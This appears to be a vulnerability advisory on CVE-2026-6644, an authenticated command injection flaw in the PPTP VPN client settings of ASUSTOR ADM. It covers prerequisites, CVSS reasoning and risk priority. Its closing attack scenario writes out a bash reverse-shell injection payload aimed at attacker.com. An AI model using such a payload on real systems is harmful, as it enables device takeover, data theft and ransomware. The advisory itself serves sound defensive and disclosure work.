Adm CVE-2026-6644

Requires valid ASUSTOR ADM administrator-level credentials (CVSS PR:H confirms high privileges required). The PPTP VPN Clients feature must be accessible through the ADM web interface-exploitation targets the VPN configuration module specifically. Network connectivity to the ADM web management interface is required (CVSS AV:N), whether via internet exposure or internal network access. No user interaction beyond the attacker's authenticated session is needed (CVSS UI:N). Exploitation is NOT possible against default configurations by unauthenticated remote attackers; credential compromise or insider threat scenarios are prerequisites. Organizations that have disabled the ADM web interface, restricted access to isolated management VLANs, or disabled PPTP VPN functionality reduce exploitability substantially.

Real-world risk is elevated but requires administrator credentials, significantly limiting attack surface compared to unauthenticated RCE vulnerabilities. CVSS 9.4 accurately reflects catastrophic impact (full system compromise, complete confidentiality/integrity/availability loss) but the PR:H (high privileges required) metric indicates this is not exploitable by external attackers without first compromising admin credentials. Attack complexity is low (AC:L) with no user interaction required (UI:N), meaning exploitation is straightforward once admin access is obtained. No CISA KEV listing or public exploit code identified, suggesting exploitation is not yet widespread. However, NAS devices are high-value targets for ransomware operators who frequently chain vulnerabilities or brute-force admin panels. The vulnerability enables complete device takeover, data exfiltration, ransomware deployment, and pivot points into connected networks. Priority should align with criticality of data stored on affected NAS devices and strength of admin credential protections. Organizations exposing ADM web interfaces to the internet face substantially higher risk than those restricting access to trusted management networks.

An attacker who has obtained ASUSTOR ADM administrator credentials (via phishing, credential stuffing, or brute force against internet-exposed admin panels) logs into the ADM web interface and navigates to the PPTP VPN Clients configuration page. The attacker enters a malicious VPN parameter containing command injection payloads such as ; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 ; which the application passes unsanitized to a system shell. The injected commands execute with elevated privileges, establishing a reverse shell to the attacker's infrastructure, granting full root-level access to the NAS device for data exfiltration, ransomware deployment, or lateral movement into the victim's network.